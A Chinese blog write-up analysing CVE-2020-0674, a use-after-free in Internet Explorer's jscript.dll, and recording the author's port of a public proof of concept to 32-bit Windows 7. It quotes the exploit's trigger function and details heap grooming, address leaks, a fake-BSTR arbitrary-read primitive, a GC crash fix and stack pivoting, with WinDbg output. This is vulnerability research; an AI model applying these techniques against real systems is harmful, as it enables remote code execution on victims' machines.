CVE-2020-0674的分析与移植记录

阅读量    82337 | 评论 45

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

 

背景

CVE-2020-0674是被APT组织Darkhotel所利用的一个漏洞,完整的APT分析可以阅读360 核心安全技术博客上的一篇文章。F-secure的研究员maxpl0it在Github上公开了一份针对win7 x64的poc,在分析过CVE-2017-11907和CVE-2018-8353后,笔者对jscript.dll模块中已经比较熟悉,这里尝试对CVE-2020-0674漏洞进行分析并在win7 x86上复现RCE。

 

漏洞原理

Github上提供的样本可读性非常好,根据maxpl0it的注释,很容易就定位到漏洞触发的函数

// initial_exploit: The main exploit function.
function initial_exploit(untracked_1, untracked_2) {
    untracked_1 = spray[depth*2];
    untracked_2 = spray[depth*2 + 1];
    if(depth > 150) {
        spray = new Array(); // Erase spray
        CollectGarbage(); // Add to free
        for(i = 0; i < overlay_size; i++) {
            overlay[i][variants] = 1;
            overlay[i][padding] = 1;
            overlay[i][leak] = 1;
            overlay[i][leaked_var] = i; 
        }
        total.push(untracked_1);
        total.push(untracked_2);
        return 0;
    }
    // Set pointers
    depth += 1;
    sort[depth].sort(initial_exploit);
    total.push(untracked_1);
    total.push(untracked_2);
    return 0;
}

上面这段利用比较清晰的说明了漏洞,initial_exploit是传入sort函数的一个比较函数,而initial_exploit这样的函数指针的参数是不会被GC跟踪,因此在initial_exploit内部为untracked赋值,再通过spray = new Array();CollectGarbage();的方式手动调用GC,此时原来的Object会被释放,但untracked仍然保持了一个指向该片内存的指针,即产生了垂悬指针。

 

Jscript.dll中的GC管理

为了更好的阐述漏洞分析的过程,需要介绍一些jscript.dll中GC管理的知识。
下面给出两个关键的结构GcBlock和VAR,其中GcBlock是用来管理对象使用的,GcBlock中的VAR会指向对象实际的内存。

struct VAR
{
    word type; 
    word unknown;
    dword unknown;
    dword value;
    dword *next;
}
struct GcBlock
{
    dword *prev;
    dword *next;
    VAR mem[100];
}

jscript.dll中的GC采用的算法是mark-sweep算法,根据逆向GcContext::CollectCore的结果,大致可以分成如下三个步骤:

  • Mark,标记GcBlock中VAR的type域
  • Scavenge,尝试遍历所有可达的对象并取消他们的标记
  • Reclaim,释放仍被标记的对象

这里使用如下的demo来让读者初步认识一个jscript.dll中的GC:

function main(){
    var ty;
    ty = new Object();
    ty['aaaa'] = 1;
    alert('1');
    ty = new Object();
    ty['bbbb'] = 2;
    CollectGarbage();
}

按照上面的说明,第一个Object将会被释放,其中VAR的type域会被修改两次(0x810x8810x0),第二个Object对应的VAR的type域也会被修改两次(0x810x8810x81),对GcBlock中指向第一个Object的VAR的type域设置硬件断点,验证如下:

0:016> ?jscript!NameTbl::`vftable'
Evaluate expression: 1809127752 = 6bd51948
// 通过搜索虚表找到Object
0:016> s -d 0x0 L?0x7fffffff 6bd51948
02b3e458  6bd51948 00000000 02b3daa0 02b3cdd8  H..k............
6bd55a2c  6bd51948 0244838b 07c70000 6bd55b20  H..k..D..... [.k
6bd56470  6bd51948 0f045e39 044d2d8f 084e8b00  H..k9^...-M...N.
6bd5717c  6bd51948 000057e8 30acb900 c38b6bdd  H..k.W.....0.k..
0:016> dd 02b3daa0
02b3daa0  6bd51924 00000001 00000001 02b3db10
02b3dab0  0000003c 00000100 00000100 00004000
02b3dac0  02b3db14 02b3db34 02b3fd20 0000000f
0:016> dd 02b3db14 
02b3db14  00000003 00000000 00000001 00000000
02b3db24  00000000 00000000 0007b9e4 00000008
02b3db34  00000000 00000000 00000001 00000000
02b3db44  00610061 00610061 00000000 00000000
0:016> s -d 0x0 L?0x7fffffff 02b3e458
02b3d728  02b3e458 00000000 00000081 00000000  X...............
//找到Gcblock
0:016> dd 02b3d728 -8 L4 
02b3d720  00000081 00000000 02b3e458 00000000
0:016> !heap -p -a 02b3d720  
    address 02b3d720 found in
    _HEAP @ 2e0000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        02b3d190 00ca 0000  [00]   02b3d198    00648 - (busy)
0:016> ba w1 02b3d720 
0:016> g
Breakpoint 0 hit
eax=00000881 ebx=0000008a ecx=02b3d720 edx=00000010 esi=02b3d7e0 edi=02b3d198
eip=6bd567c0 esp=0571b568 ebp=0571b5a8 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
jscript!GcAlloc::SetMark+0x38:
6bd567c0 03ca            add     ecx,edx
0:012> g
Breakpoint 0 hit
eax=00000004 ebx=02b3d7e0 ecx=00000081 edx=02b3d170 esi=02b3d720 edi=00000001
eip=6bd56b66 esp=0571b518 ebp=0571b558 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
jscript!GcAlloc::ReclaimGarbage+0xb1:
6bd56b66 66394ddc        cmp     word ptr [ebp-24h],cx    ss:0023:0571b534=008a

可以看到,gcblock.mem[k]中的type域只命中了两次硬件写入断点,为GcAlloc::SetMark和GcAlloc::ReclaimGarbage,对应Mark和Reclaim
类似的,可以得出第二个Object会命中GcAlloc::SetMark和Scavenge

var a = new Object();
a['aaaa'] = 1;

因此,上面的代码片段在内存的组织如下所示:

//硬件断点断在Scavenge
0:012> dd ecx L2c/4
0268cda0  6c4b43e0 0268cd10 0268e914 0268ea1c
0268cdb0  000000c8 0268daa0 00000000 052eb7dc
0268cdc0  0268e078 0266cb18 00000000
0:012> u 6c4b43e0 L1
jscript!VarStack::`vftable':
6c4b43e0 bf6f4b6cc1      mov     edi,0C16C4B6Fh

0:012> dd 052eb7dc
052eb7dc  0268e008 02690051 0269001c 00000003
052eb7ec  0268edc0 00000000 00000000 0268e018
052eb7fc  0269001c 0268e058 052eb8f0 00000000
052eb80c  0268e018 0268e018 0268e048 0268e088
052eb81c  052eb908 00000000 0268d0d0 00000000
052eb82c  00008003 00000000 00000000 00000000
052eb83c  fffffffe 052eb488 052eb784 ffffffff
052eb84c  00000080 0266cb18 0268d740 00167af0

0:012> dd 0268e008
0268e008  77a80083 00000005 0268d760 77ac57df
0268e018  02680000 00000006 0062004f 0268e068
0268e028  00000000 00000000 00000000 00000000
0268e038  02680080 0268e9f0 0268d720 6c4b10ed
0268e048  02680000 00000004 00610061 00610061
0268e058  00000000 00000000 40000000 00843158
0268e068  00000080 00000000 0268d760 00000000
0268e078  052ebe1c 0268e0d8 00720065 00000074
// gcblock
0:012> dd 0268d720
0268d720  00000081 00000000 02690078 0268d760
0268d730  00000881 00000000 0268e9f0 00000000
0268d740  00000881 00000000 0268e970 00000000
0268d750  6c4b0887 00000000 045281a0 00000001
0268d760  00000081 00000000 0268d0d0 0268d780
0268d770  00000881 00000000 0268e8f0 00000000
0268d780  00000081 00000000 0268e880 00000000
0268d790  00000881 00000000 0268e838 00000000
// NameTbl
0:012> dd 02690078
02690078  6c4b1948 00000000 0268ea60 0268cdd8
02690088  0268d720 ffffffff 0268d790 00000000
02690098  00000000 6c4b4d1c 0268cd10 00000000
026900a8  00000000 6c533164 1b1201f4 80000000
026900b8  00000012 00000000 00000000 00000000
026900c8  00000000 00000000 00000000 00000000
026900d8  00000000 00000000 00000000 00000000
026900e8  00000000 00000000 1b1201fc 80000000
0:012> u 6c4b1948 L1
jscript!NameTbl::`vftable':
// NameList
0:012> dd 0268ea60 
0268ea60  6c4b1924 00000001 00000001 0268eb18
0268ea70  0000003c 00000100 00000100 00004000
0268ea80  0268eb1c 0268eb3c 0268ead0 0000000f
0268ea90  00000040 00000001 0000000a 0268eaa0
0268eaa0  0268eb1c 00000000 00000000 00000000
0268eab0  00000000 00000000 00000000 00000000
0268eac0  00000000 00000000 6e35606c 08033201
0268ead0  00000000 00000000 00000000 00000000
// vval
0:012> dd 0268eb1c 
0268eb1c  00650003 00000077 00000001 40000000
0268eb2c  00000000 00000000 0007b9e4 00000008
0268eb3c  00000000 00000000 00000001 00000000
0268eb4c  00610061 00610061 00000000 00000000
0268eb5c  00000000 00000000 00000000 00000000
0268eb6c  00000000 00000000 00000000 00000000
0268eb7c  00000000 00000000 00000000 00000000
0268eb8c  00000000 00000000 00000000 00000000

jscript对象
结论是:

  • gcblock.mem[k]指向Object
  • 将 javascript中的变量赋值一个Object,那么这个变量可以理解成一个VAR(0x80, 0, gcblock.mem[k], 0)

因此漏洞中所描述的initial_exploit参数不会被GC跟踪,具体是指上述这样的VAR(0x80)仍然存在,从GC的步骤来描述就是在Scavenge过程中,不会对untracked调用Scavenge,从而GC得出结论认为对象是不可达的,在第三步Reclaim中将Object的内存释放。

 

leak_var()

将UAF转化成信息泄露是和CVE-2018-8353一样的方式,可以参考@银雁冰在看雪论坛上对CVE-2018-8353的分析
先补充两个知识点:

  1. 如果一个Object被释放,那么其在GcBlock中的VAR的type会被置0,若一个GcBlock中所有VAR的type都是0,那么这个GcBlock会被释放;
  2. NameList是jscript.dll中的哈希表结构体,Object的属性会被存放在其中,(name, value)会使用VVAL结构体(大小为0x30+name)来组织,NameList会指定一块内存来存放VVAL:(以下均可以逆向NameList::FCreateVval得出)
    1) 如果是第一个VVAL,且name长度合理,按照(2x + 0x32) * 2 + 4的计算公式来申请内存,后面存放的VVAL也会使用这块内存;
    2)name长度过长,只申请这一个VVAL的大小;
    3)多段内存通过第一个dword构成单链表;
    4)VVAL之间通过next域构成单链表(泄露的地址)。

UAF首先需要进行占位,样本中是这样做的,通过大量的new Object(),此时大量的GcBlock都被Object占满,然后在initial_exploit以递归的方式保存untracked,并在递归深度大于150时释放spray,这样不仅仅Object会被释放,被Object占满的GcBlock也会被释放,然后再使用NameList::FCreateVval创建特定大小(0x648)的内存对GcBlock进行占位;

untrack被保存至数组total中,因此可以通过total对GcBlock进行访问,这里需要通过深入逆向VVAL的结构体

struct VVAL
{
    VAR variant;
    dword;
    dword;
    int hash;
    unsigned int name_length;
    VVAL *next;
    VVAL *next_hashbucket_vval;
    int id_number;
    dword;
    wchar_t name[];
}

其中有两个dword包含了地址,其中next域通过设置下一个属性是可以稳定泄露指针,为了达成这个目的,需要将hash设置成指定的值

hashcode

通过逆向函数CaseInsensitiveComputeHashCch可知,如果length为1,且v5-65为负数,那么hash即为字符串本身,样本中将这里布置成0x05,0x05在VAR中代表浮点数。

样本中共布置了4个属性,第一个用于占位GcBlock,第二个用于对齐GcBlock,第三个用于泄露next,第四个VVAL用于给next赋值并通过value表示下标;

这样可以达成地址泄露。

 

get_rewirte_offset()与rewrite

get_rewirte_offset()

第一次uaf的overlay被保存在了overlay_backup,后面使用initial_exploit进行uaf的overlay与第一次不是同一个,需要知道overlay_backup中哪一个对象命中了地址泄露,样本中采用了和laek_var同样的手法,在第一个VVAL的name域构造大量与GcBlock.mem重叠的VAR,泄露出overlay_backup[offset]中的第四个VVAL,;

rewrite()

在知道overlay_backup的下标后,包装出一个修改第四个VVAL的功能,只需要释放对应的Object,然后再new的Object中的布置新内容

get_fakeobj

通过rewrite和init_exploit,泄露出一个fakeobj_var,这是在第四个VVAL的name域伪造的VAR,这里需要理清楚访问的逻辑

fakeobj_var —> GcBlock(由overlay中的Object导致的占位)—> fake_VAR

即VAR(0x80) —> VAR(0x80) —> fake_VAR

这个过程中只有最终的fake_VAR是可控的

 

任意地址读 原语

如果构造fake_VAR是BSTR,那么通过fakeobj_var进行访问是合法的

考虑一个BSTR的VAR,0x08 0x00 taddr pad,那么可以通过bstr.length实现任意地址读,具体如下:

bstr.length = (dword)[taddr-4]>>1

可以看到length会丢失一个比特的内容,下面以读取一个byte为例说明样本中的读取方法

令taddr = addr + 2

则 [taddr-4]会读取addr-2,addr-1,addr,addr+1这4个byte,要想获取addr这个byte可用以下的公式:

(fakeobj.length >> 15) & 0xff,其中addr-2会因为>>1而破坏,addr-2和addr-1都是不需要的,设置一次fake_VAR最多可以读取一个word,addr+1,addr

 

GC崩溃

首先谈谈GC崩溃,移植至32位时,在执行到函数rewrite时,会发生崩溃,崩溃现场如下所示:

eax=05ac8bec ebx=0000f7ff ecx=05ac8bec edx=00000081 esi=00000080 edi=01f083b8
eip=67a06a6a esp=049ba6cc ebp=049ba6d8 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
jscript!NameList::ScavengeRoots+0x20:
67a06a6a 0fb706          movzx   eax,word ptr [esi]       ds:0023:00000080=????
0:012> k
 # ChildEBP RetAddr  
00 049ba6d8 67a06941 jscript!NameList::ScavengeRoots+0x20
01 049ba6ec 67a06dd0 jscript!NameTbl::ScavengeCore+0x42
02 049ba700 67a06cef jscript!GcContext::CollectCore+0xc6
03 049ba718 67a5a465 jscript!GcContext::Collect+0x26
04 049ba71c 67a05950 jscript!JsCollectGarbage+0x1c
05 049ba784 67a02fe9 jscript!NatFncObj::Call+0xce
06 049ba80c 67a02c68 jscript!NameTbl::InvokeInternal+0x108
07 049ba8f4 67a02bbb jscript!VAR::InvokeByDispID+0x70

0x80显然与构造的VAR有关,但直接看也看不出什么,开始逆向NameList::ScavengeRoots
逆向后发现此处崩溃是在发生在遍历VVAL的过程中,但很难直接判断出是哪一个Object的VVAL遍历出现了问题

vval

因此对NameList::ScavengeRoots设置了断点,并打印ecx的值,查看最后一次造成崩溃的NameList

bp jscript!NameList::ScavengeRoots "r ecx;g"
g
...
ecx=08724910
ecx=087248a0
(918.cf8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=06358bec ebx=0000f7ff ecx=06358bec edx=00000081 esi=00000080 edi=0281cd40
eip=69cb6a6a esp=0547a7c4 ebp=0547a7d0 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
jscript!NameList::ScavengeRoots+0x20:
69cb6a6a 0fb706          movzx   eax,word ptr [esi]       ds:0023:00000080=????
0:012> dd 087248a0
087248a0  69cb1924 00000004 00000004 08893788
087248b0  000003d4 00000644 00000100 00004000
087248c0  0889378c 08893b4c 086888d8 0000000f
087248d0  00000040 00000004 0000000a 087248e0
087248e0  0889378c 08893ab0 08893af8 08893b2c
087248f0  00000000 00000000 00000000 00000000
08724900  00000000 00000000 6332436f 88000000
08724910  69cb1924 00000004 00000004 08893e10
0:012> dd 0889378c
0889378c  02810003 0541b5a4 00000001 00000000
0889379c  00000000 00000000 dfd98ab6 000002f0
088937ac  08893ab0 00000000 00000001 089a7698
088937bc  00410041 00000080 00000000 06358bec
088937cc  00000000 00000080 00000000 06358bec
088937dc  00000000 00000080 00000000 06358bec
088937ec  00000000 00000080 00000000 06358bec
088937fc  00000000 00000080 00000000 06358bec
0:012> dd 08893ab0
08893ab0  02810003 0541bda4 00000001 00000000
08893ac0  00000000 00000000 01fe769b 00000016
08893ad0  088932f8 00000000 00000002 08893ae0
08893ae0  00410041 00410041 00410041 00410041
08893af0  00410041 00000041 02810003 0541bda4
08893b00  00000001 00000000 00000000 08893b10
08893b10  00000005 00000002 08893b2c 00000000
08893b20  00000003 00000000 00000005 02810003
0:012> dd 08893af8
08893af8  02810003 0541bda4 00000001 00000000
08893b08  00000000 08893b10 00000005 00000002
08893b18  08893b2c 00000000 00000003 00000000
08893b28  00000005 02810003 0541b5a4 00000001
08893b38  00000000 00000000 00000000 00000061
08893b48  00000002 00000000 00000000 00000004
08893b58  089a6818 00000041 00000000 00000000
08893b68  089a67d8 08893b70 00000000 00000000

以上可以发现是Vval的next域被修改,而根据多次实验发现导致奔溃的第四个Vval的Value都是1,即在overlay中的offset为1的Object导致崩溃,因此对此Object的第二个Vval的next域设置硬件断点,发现不是分配时对该值初始化错误,而是函数CIndexedNameList::ScavengeRoots对其进行了修改。

类似的在创建Vval的时候对next域下硬件断点,然后再在gc时对CIndexedNameList::ScavengeRoots设断,发现第七次命中CIndexedNameList::ScavengeRoots会命中硬件断点,查看此时的CIndexNameList

0:012> dd 01c04e28 L80
01c04e28  6cae23c0 00000132 00000002 0557f5f0
01c04e38  0000007c 00000100 00000100 00004000
01c04e48  0557f5f4 0557f650 0ba980e8 0000000f
01c04e58  00000040 00000000 0000000a 01c04e68
01c04e68  00000000 00000000 00000000 00000000
01c04e78  00000000 00000000 00000000 00000000
01c04e88  00000000 00000000 07283458 00000040    --------<ArrayDataList>
01c04e98  00000003 00000008 062bd880 00000700
01c04ea8  00002000 00000100 00004000 00000000
01c04eb8  00000080 00000001 07c0bfe8 6caea771    --------<1>
01c04ec8  00000000 00000000 00000003 00000000
01c04ed8  00000080 00000001 07c0bfd8 6caea771    --------<2>
01c04ee8  00000000 00000000 00000004 00000000
01c04ef8  00000080 00000001 07c0c008 6caea771    --------<3>
01c04f08  00000000 00000000 00000005 00000000
01c04f18  00000080 00000001 07c0bff8 6caea771    --------<4>
01c04f28  00000000 00000000 00000006 00000000
01c04f38  00000080 00000001 07c0c028 6caea771    --------<5>
01c04f48  00000000 00000000 00000007 00000000
01c04f58  00000080 00000001 07c0c018 6caea771    --------<6>
01c04f68  00000000 00000000 00000008 00000000
01c04f78  00000080 00000001 07c0c048 6caea771    --------<7>
01c04f88  00000000 00000000 00000009 00000000
01c04f98  00000080 00000001 07c0c038 6caea771    --------<8>
01c04fa8  00000000 00000000 0000000a 00000000
01c04fb8  01c04eb8 00000008 00000200 00000130    --------<0x130 = 304>
01c04fc8  00000132 00000140 0bb90048 0557f5f4
01c04fd8  00000000 0557f630 00000000 00000000
01c04fe8  00000001 00000001 00000001 00000002
01c04ff8  00000001 00000003 00000001 00000004
01c05008  00000001 00000005 00000001 00000006
01c05018  00000001 00000007 00000001 00000000

CIndexedNameList是jscript.dll中的数组,CIndexedNameList的详细数据结构可以参考The Art of Leaks: The Return of Heap Feng Shui中的p9-p10,这里只需要判断出这个CIndexedNameList对应着total这个数组(根据数组中元素的个数),此时动态调试后发现CIndexedNameList::ScavengeRoots会将数组中的每一个VAR指向的内存都&0xF7FF,这就是导致Vval中next域被修改的元凶。

根据前面介绍的GC知识,Scavenge函数是为了找到所有可达的对象,total中保存了304个对象的指针,GC会将这些对象在GcBlock中的type的标记去除,去除的方式就是&0xF7FF,但实际上这个GcBlock已经被重占用了,也没有所谓的标记过程,因此这里让total不可达即可,即在rewirte()函数中的GC前执行total = new Array();

 

RCE过程中64位与32位的区别

64位下的RCE

64

由于32位和64位的传参方式不同,这样的构造无法将参数传递给NtContinue

32位下的RCE

maxpl0it在writeup上提到了stack pivot,32位下也可以使用这一技巧,具体如下图所示:

32rce

移植后的poc见github

 

reference

  1. https://blogs.360.cn/post/apt-c-06_0day.html
  2. https://github.com/maxpl0it/CVE-2020-0674-Exploit
  3. https://labs.f-secure.com/blog/internet-exploiter-understanding-vulnerabilities-in-internet-explorer/
分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多